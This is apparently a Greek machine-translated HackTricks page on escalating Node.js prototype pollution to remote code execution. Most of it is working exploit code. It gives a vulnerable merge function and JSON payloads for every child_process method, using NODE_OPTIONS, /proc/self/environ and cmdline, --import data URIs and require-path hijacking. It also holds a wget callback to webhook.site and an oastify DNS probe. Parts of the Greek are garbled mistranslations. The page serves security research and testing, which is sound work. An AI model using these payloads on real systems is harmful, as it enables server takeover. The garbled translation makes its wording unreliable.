Prototype Pollution to RCE
Reading time: 22 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Ευάλωτος Κώδικας
Φανταστείτε μια πραγματική JS που χρησιμοποιεί κάποιον κώδικα όπως ο παρακάτω:
const { execSync, fork } = require("child_process")
function isObject(obj) {
console.log(typeof obj)
return typeof obj === "function" || typeof obj === "object"
}
// Function vulnerable to prototype pollution
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
return target
}
function clone(target) {
return merge({}, target)
}
// Run prototype pollution with user input
// Check in the next sections what payload put here to execute arbitrary code
clone(USERINPUT)
// Spawn process, this will call the gadget that poputales env variables
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork("a_file.js")
PP2RCE μέσω env vars
PP2RCE σημαίνει Πολυπλοκότητα Πρωτοτύπου σε RCE (Απομακρυσμένη Εκτέλεση Κώδικα).
Σύμφωνα με αυτήν την αναφορά, όταν μια διαδικασία δημιουργείται με κάποια μέθοδο από child_process
(όπως fork
ή spawn
ή άλλες) καλεί τη μέθοδο normalizeSpawnArguments
, η οποία είναι ένα εργαλείο πολυπλοκότητας πρωτοτύπου για τη δημιουργία νέων env vars:
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
var env = options.env || process.env;
var envPairs = [];
[...]
let envKeys = [];
// Prototype values are intentionally included.
for (const key in env) {
ArrayPrototypePush(envKeys, key);
}
[...]
for (const key of envKeys) {
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}
Ελέγξτε αυτόν τον κώδικα, μπορείτε να δείτε ότι είναι δυνατό να ποτίσετε το envPairs
απλά μολύνοντας το χαρακτηριστικό .env
.
Ποτίζοντας το __proto__
warning
Σημειώστε ότι λόγω του πώς λειτουργεί η συνάρτηση normalizeSpawnArguments
από τη βιβλιοθήκη child_process
του node, όταν καλείται κάτι προκειμένου να οριστεί μια νέα μεταβλητή env για τη διαδικασία, χρειάζεται απλώς να μολύνετε οτιδήποτε.
Για παράδειγμα, αν κάνετε __proto__.avar="valuevar"
η διαδικασία θα ξεκινήσει με μια μεταβλητή που ονομάζεται avar
με τιμή valuevar
.
Ωστόσο, προκειμένου η μεταβλητή env να είναι η πρώτη, χρειάζεται να μολύνετε το χαρακτηριστικό .env
και (μόνο σε ορισμένες μεθόδους) αυτή η μεταβλητή θα είναι η πρώτη (επιτρέποντας την επίθεση).
Γι' αυτό το λόγο NODE_OPTIONS
δεν είναι μέσα στο .env
στην παρακάτω επίθεση.
const { execSync, fork } = require("child_process")
// Manual Pollution
b = {}
b.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//",
}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
// Trigger gadget
var proc = fork("./a_file.js")
// This should create the file /tmp/pp2rec
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce\\").toString())//"}}}'
)
clone(USERINPUT)
var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec
Δηλητηρίαση του constructor.prototype
const { execSync, fork } = require("child_process")
// Manual Pollution
b = {}
b.constructor.prototype.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//",
}
b.constructor.prototype.NODE_OPTIONS = "--require /proc/self/environ"
proc = fork("a_file.js")
// This should create the file /tmp/pp2rec2
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}}}'
)
clone(USERINPUT)
var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec2
PP2RCE μέσω env vars + cmdline
Μια παρόμοια payload με την προηγούμενη με κάποιες αλλαγές προτάθηκε σε αυτή τη γραφή. Οι κύριες διαφορές είναι:
- Αντί να αποθηκεύει το nodejs payload μέσα στο αρχείο
/proc/self/environ
, το αποθηκεύει μέσα στο argv0 του/proc/self/cmdline
. - Στη συνέχεια, αντί να απαιτεί μέσω
NODE_OPTIONS
το αρχείο/proc/self/environ
, απαιτεί το/proc/self/cmdline
.
const { execSync, fork } = require("child_process")
// Manual Pollution
b = {}
b.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"
b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
// Trigger gadget
var proc = fork("./a_file.js")
// This should create the file /tmp/pp2rec2
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}'
)
clone(USERINPUT)
var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec
Filesystem-less PP2RCE via --import
(Node ≥ 19)
note
Από Node.js 19 η σημαία CLI --import
μπορεί να περαστεί μέσω NODE_OPTIONS
με τον ίδιο τρόπο που μπορεί να περαστεί η --require
. Σε αντίθεση με την --require
, η --import
κατανοεί data-URIs οπότε ο επιτιθέμενος δεν χρειάζεται καθόλου δικαιώματα εγγραφής στο σύστημα αρχείων. Αυτό καθιστά τη συσκευή πολύ πιο αξιόπιστη σε κλειδωμένα ή μόνο-ανάγνωσης περιβάλλοντα.
Αυτή η τεχνική καταγράφηκε δημόσια για πρώτη φορά από την έρευνα της PortSwigger τον Μάιο του 2023 και από τότε έχει αναπαραχθεί σε αρκετές προκλήσεις CTF.
Η επίθεση είναι εννοιολογικά ταυτόσημη με τα κόλπα --require /proc/self/*
που δείχνονται παραπάνω, αλλά αντί να δείχνουμε σε ένα αρχείο, ενσωματώνουμε το payload απευθείας σε ένα base64-encoded data:
URL:
const { fork } = require("child_process")
// Manual pollution
b = {}
// Javascript that is executed once Node parses the import URL
const js = "require('child_process').execSync('touch /tmp/pp2rce_import')";
const payload = `data:text/javascript;base64,${Buffer.from(js).toString('base64')}`;
b.__proto__.NODE_OPTIONS = `--import ${payload}`;
// any key that will force spawn (fork) – same as earlier examples
fork("./a_file.js");
Κατάχρηση της ευάλωτης συγχώνευσης/αντιγραφής που εμφανίζεται στην κορυφή της σελίδας:
USERINPUT = JSON.parse('{"__proto__":{"NODE_OPTIONS":"--import data:text/javascript;base64,cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCd0b3VjaCBcL3RtcFwvcHAycmNlX2ltcG9ydCcp"}}');
clone(USERINPUT);
// Gadget trigger
fork("./a_file.js");
// → creates /tmp/pp2rce_import
Γιατί το --import
βοηθά
- Καμία αλληλεπίδραση με δίσκο – το payload ταξιδεύει εξ ολοκλήρου μέσα στη γραμμή εντολών και το περιβάλλον της διαδικασίας.
- Λειτουργεί με περιβάλλοντα μόνο ESM – το
--import
είναι ο κανονικός τρόπος για να προφορτώσετε JavaScript σε σύγχρονες εκδόσεις Node που προεπιλέγουν τα ECMAScript Modules. - Παρακάμπτει ορισμένες λίστες επιτρεπόμενων
--require
– μερικές βιβλιοθήκες σκληρύνσης φιλτράρουν μόνο το--require
, αφήνοντας το--import
ανέγγιχτο.
warning
Η υποστήριξη του --import
στο NODE_OPTIONS
είναι ακόμα παρούσα στην τελευταία Node 22.2.0 (Ιούνιος 2025). Η ομάδα του Node core συζητά την περιοριστική χρήση των data-URIs στο μέλλον, αλλά καμία μετρίαση δεν είναι διαθέσιμη τη στιγμή της συγγραφής.
Αλληλεπίδραση DNS
Χρησιμοποιώντας τα παρακάτω payloads είναι δυνατόν να εκμεταλλευτούμε τη μεταβλητή περιβάλλοντος NODE_OPTIONS που έχουμε συζητήσει προηγουμένως και να ανιχνεύσουμε αν λειτούργησε με μια αλληλεπίδραση DNS:
{
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=id.oastify.com"
}
}
Ή, για να αποφευχθούν οι WAF που ζητούν το domain:
{
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=id\"\".oastify\"\".com"
}
}
PP2RCE ευπάθεια child_process functions
Σε αυτή την ενότητα θα αναλύσουμε κάθε συνάρτηση από το child_process
για να εκτελέσουμε κώδικα και να δούμε αν μπορούμε να χρησιμοποιήσουμε κάποια τεχνική για να αναγκάσουμε αυτή τη συνάρτηση να εκτελέσει κώδικα:
exec
εκμετάλλευση
// environ trick - not working
// It's not possible to pollute the .env attr to create a first env var
// because options.env is null (not undefined)
// cmdline trick - working with small variation
// Working after kEmptyObject (fix)
const { exec } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = exec("something")
// stdin trick - not working
// Not using stdin
// Windows
// Working after kEmptyObject (fix)
const { exec } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = exec("something")
execFile
εκμετάλλευση
// environ trick - not working
// It's not possible to pollute the .en attr to create a first env var
// cmdline trick - working with a big requirement
// Working after kEmptyObject (fix)
const { execFile } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFile("/usr/bin/node")
// stdin trick - not working
// Not using stdin
// Windows - not working
Για να λειτουργήσει το execFile
, ΠΡΕΠΕΙ να εκτελεί το node για να λειτουργήσουν οι NODE_OPTIONS.
Αν δεν εκτελεί το node, πρέπει να βρείτε πώς μπορείτε να αλλάξετε την εκτέλεση αυτού που εκτελεί με μεταβλητές περιβάλλοντος και να τις ρυθμίσετε.
Οι άλλες τεχνικές λειτουργούν χωρίς αυτή την απαίτηση γιατί είναι δυνατό να τροποποιηθεί αυτό που εκτελείται μέσω της ρύπανσης πρωτοτύπου. (Σε αυτή την περίπτωση, ακόμα και αν μπορείτε να ρυπάνετε το .shell
, δεν θα ρυπάνετε αυτό που εκτελείται).
fork
exploitation
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
b = {}
b.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//",
}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork("something")
// cmdline trick - working
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
p = {}
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork("something")
// stdin trick - not working
// Not using stdin
// execArgv trick - working
// Only the fork method has this attribute
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
b = {}
b.__proto__.execPath = "/bin/sh"
b.__proto__.argv0 = "/bin/sh"
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
var proc = fork("./a_file.js")
// Windows
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
b = {}
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = fork("./a_file.js")
spawn
εκμετάλλευση
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// stdin trick - not working
// Not using stdin
// Windows
// NOT working after require(fix) without options
const { spawn } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
execFileSync
εκμετάλλευση
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execFileSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execFileSync("something")
// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execFileSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFileSync("something")
// stdin trick - working
// Working after kEmptyObject (fix)
const { execFileSync } = require("child_process")
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ":!{touch /tmp/execFileSync-stdin}\n"
var proc = execFileSync("something")
// Windows
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
p.__proto__.argv0 = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync("something")
execSync
εκμετάλλευση
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execSync("something")
// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execSync("something")
// stdin trick - working
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ":!{touch /tmp/execSync-stdin}\n"
var proc = execSync("something")
// Windows
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync("something")
spawnSync
εκμετάλλευση
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of node
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// stdin trick - working
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require("child_process")
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ":!{touch /tmp/spawnSync-stdin}\n"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// Windows
// NOT working after require(fix) without options
const { spawnSync } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
Υποχρεωτική Δημιουργία
Στα προηγούμενα παραδείγματα είδατε πώς να ενεργοποιήσετε το gadget, μια λειτουργία που καλεί το spawn
πρέπει να είναι παρούσα (όλες οι μέθοδοι του child_process
που χρησιμοποιούνται για την εκτέλεση κάτι το καλούν). Στο προηγούμενο παράδειγμα αυτό ήταν μέρος του κώδικα, αλλά τι γίνεται αν ο κώδικας δεν το καλεί.
Έλεγχος διαδρομής αρχείου require
Σε αυτήν την άλλη ανάλυση ο χρήστης μπορεί να ελέγξει τη διαδρομή του αρχείου όπου θα εκτελείται ένα require
. Σε αυτό το σενάριο, ο επιτιθέμενος χρειάζεται απλώς να βρει ένα αρχείο .js
μέσα στο σύστημα που θα εκτελεί μια μέθοδο spawn όταν εισαχθεί.
Ορισμένα παραδείγματα κοινών αρχείων που καλούν μια συνάρτηση spawn όταν εισάγονται είναι:
- /path/to/npm/scripts/changelog.js
- /opt/yarn-v1.22.19/preinstall.js
- Βρείτε περισσότερα αρχεία παρακάτω
Το παρακάτω απλό σενάριο θα αναζητήσει κλήσεις από child_process χωρίς καμία προσθήκη (για να αποφευχθεί η εμφάνιση κλήσεων μέσα σε συναρτήσεις):
find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done
# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
Ενδιαφέροντα αρχεία που βρέθηκαν από το προηγούμενο σενάριο
- node_modules/buffer/bin/download-node-tests.js:17:
cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })
- node_modules/buffer/bin/test.js:10:
var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })
- node_modules/npm/scripts/changelog.js:16:
const log = execSync(git log --reverse --pretty='format:%h %H%d %s (%aN)%n%b%n---%n' ${branch}...).toString().split(/\n/)
- node_modules/detect-libc/bin/detect-libc.js:18:
process.exit(spawnSync(process.argv[2], process.argv.slice(3), spawnOptions).status);
- node_modules/jest-expo/bin/jest.js:26:
const result = childProcess.spawnSync('node', jestWithArgs, { stdio: 'inherit' });
- node_modules/buffer/bin/download-node-tests.js:17:
cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })
- node_modules/buffer/bin/test.js:10:
var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })
- node_modules/runtypes/scripts/format.js:13:
const npmBinPath = execSync('npm bin').toString().trim();
- node_modules/node-pty/scripts/publish.js:31:
const result = cp.spawn('npm', args, { stdio: 'inherit' });
Ρύθμιση διαδρομής αρχείου require μέσω μόλυνσης πρωτοτύπου
warning
Η προηγούμενη τεχνική απαιτεί ότι ο χρήστης ελέγχει τη διαδρομή του αρχείου που πρόκειται να απαιτηθεί. Αλλά αυτό δεν ισχύει πάντα.
Ωστόσο, αν ο κώδικας πρόκειται να εκτελέσει ένα require μετά τη μόλυνση του πρωτοτύπου, ακόμη και αν δεν ελέγχετε τη διαδρομή που πρόκειται να απαιτηθεί, μπορείτε να αναγκάσετε μια διαφορετική μέσω της μόλυνσης του πρωτοτύπου. Έτσι, ακόμη και αν η γραμμή κώδικα είναι όπως require("./a_file.js")
ή require("bytes")
, θα απαιτήσει το πακέτο που μολύνατε.
Επομένως, αν εκτελείται ένα require μετά τη μόλυνση του πρωτοτύπου σας και δεν υπάρχει συνάρτηση spawn, αυτή είναι η επίθεση:
- Βρείτε ένα
.js
αρχείο μέσα στο σύστημα που όταν απαιτηθεί θα εκτελέσει κάτι χρησιμοποιώνταςchild_process
- Αν μπορείτε να ανεβάσετε αρχεία στην πλατφόρμα που επιτίθεστε, μπορείτε να ανεβάσετε ένα αρχείο όπως αυτό
- Μολύνετε τις διαδρομές για να αναγκάσετε τη φόρτωση του
.js
αρχείου που θα εκτελέσει κάτι με child_process - Μολύνετε το environ/cmdline για να εκτελέσετε αυθαίρετο κώδικα όταν καλείται μια συνάρτηση εκτέλεσης child_process (βλ. τις αρχικές τεχνικές)
Απόλυτο require
Αν το εκτελούμενο require είναι απόλυτο (require("bytes")
) και το πακέτο δεν περιέχει main στο αρχείο package.json
, μπορείτε να μολύνετε το main
attribute και να κάνετε το require να εκτελέσει ένα διαφορετικό αρχείο.
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab
// Install package bytes (it doesn't have a main in package.json)
// npm install bytes
// Manual Pollution
b = {}
b.__proto__.main = "/tmp/malicious.js"
// Trigger gadget
var proc = require("bytes")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_absolute\\").toString())//"}}'
)
clone(USERINPUT)
var proc = require("bytes")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
Σχετική απαίτηση - 1
Εάν φορτωθεί μια σχετική διαδρομή αντί για μια απόλυτη διαδρομή, μπορείτε να κάνετε το node να φορτώσει μια διαφορετική διαδρομή:
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab
// Manual Pollution
b = {}
b.__proto__.exports = { ".": "./malicious.js" }
b.__proto__["1"] = "/tmp"
// Trigger gadget
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_1\\").toString())//"}}'
)
clone(USERINPUT)
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
Σχετική απαίτηση - 2
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab
// Manual Pollution
b = {}
b.__proto__.data = {}
b.__proto__.data.exports = { ".": "./malicious.js" }
b.__proto__.path = "/tmp"
b.__proto__.name = "./relative_path.js" //This needs to be the relative path that will be imported in the require
// Trigger gadget
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_path\\").toString())//"}}'
)
clone(USERINPUT)
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
Σχετική απαίτηση - 3
Παρόμοια με την προηγούμενη, αυτό βρέθηκε σε αυτή τη γραφή.
// Requiring /opt/yarn-v1.22.19/preinstall.js
Object.prototype["data"] = {
exports: {
".": "./preinstall.js",
},
name: "./usage",
}
Object.prototype["path"] = "/opt/yarn-v1.22.19"
Object.prototype.shell = "node"
Object.prototype["npm_config_global"] = 1
Object.prototype.env = {
NODE_DEBUG:
"console.log(require('child_process').execSync('wget${IFS}https://webhook.site?q=2').toString());process.exit()//",
NODE_OPTIONS: "--require=/proc/self/environ",
}
require("./usage.js")
VM Gadgets
Στο έγγραφο https://arxiv.org/pdf/2207.11171.pdf αναφέρεται επίσης ότι ο έλεγχος του contextExtensions
από ορισμένες μεθόδους της βιβλιοθήκης vm
θα μπορούσε να χρησιμοποιηθεί ως gadget.
Ωστόσο, όπως οι προηγούμενες μέθοδοι child_process
, έχει διορθωθεί στις τελευταίες εκδόσεις.
Fixes & Unexpected protections
Παρακαλώ σημειώστε ότι η ρύπανση πρωτοτύπου λειτουργεί αν το attribute ενός αντικειμένου που προσπελάζεται είναι undefined. Αν στον κώδικα αυτό το attribute είναι ορισμένο σε μια τιμή, δεν θα μπορέσετε να το αντικαταστήσετε.
Το Ιούνιο του 2022 από αυτήν την δέσμευση η μεταβλητή options
αντί για ένα {}
είναι ένα kEmptyObject
. Αυτό αποτρέπει μια ρύπανση πρωτοτύπου να επηρεάσει τα attributes του options
για να αποκτήσει RCE.
Τουλάχιστον από την v18.4.0 αυτή η προστασία έχει υλοποιηθεί, και επομένως οι εκμεταλλεύσεις spawn
και spawnSync
που επηρεάζουν τις μεθόδους δεν λειτουργούν πια (αν δεν χρησιμοποιούνται options
!).
Στην αυτήν την δέσμευση η ρύπανση πρωτοτύπου του contextExtensions
από τη βιβλιοθήκη vm διορθώθηκε κάπως ρυθμίζοντας τις επιλογές σε kEmptyObject
αντί για {}
.
info
Node 20 (Απρίλιος 2023) & Node 22 (Απρίλιος 2025) παρέδωσαν περαιτέρω ενίσχυση: αρκετοί βοηθοί child_process
τώρα αντιγράφουν τις options
που παρέχονται από τον χρήστη με CopyOptions()
αντί να τις χρησιμοποιούν μέσω αναφοράς. Αυτό μπλοκάρει τη ρύπανση των εσωτερικών αντικειμένων όπως το stdio
, αλλά δεν προστατεύει από τα κόλπα NODE_OPTIONS
/ --import
που περιγράφηκαν παραπάνω – αυτές οι σημαίες γίνονται ακόμα αποδεκτές μέσω μεταβλητών περιβάλλοντος.
Μια πλήρης διόρθωση θα έπρεπε να περιορίσει ποιες σημαίες CLI μπορούν να προωθηθούν από τη γονική διαδικασία, κάτι που παρακολουθείται στο Node Issue #50559.
Other Gadgets
- https://github.com/yuske/server-side-prototype-pollution
- https://github.com/KTH-LangSec/server-side-prototype-pollution
References
- https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/
- https://blog.sonarsource.com/blitzjs-prototype-pollution/
- https://arxiv.org/pdf/2207.11171.pdf
- https://portswigger.net/research/prototype-pollution-node-no-filesystem
- https://www.nodejs-security.com/blog/2024/prototype-pollution-regression
- https://portswigger.net/research/server-side-prototype-pollution
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.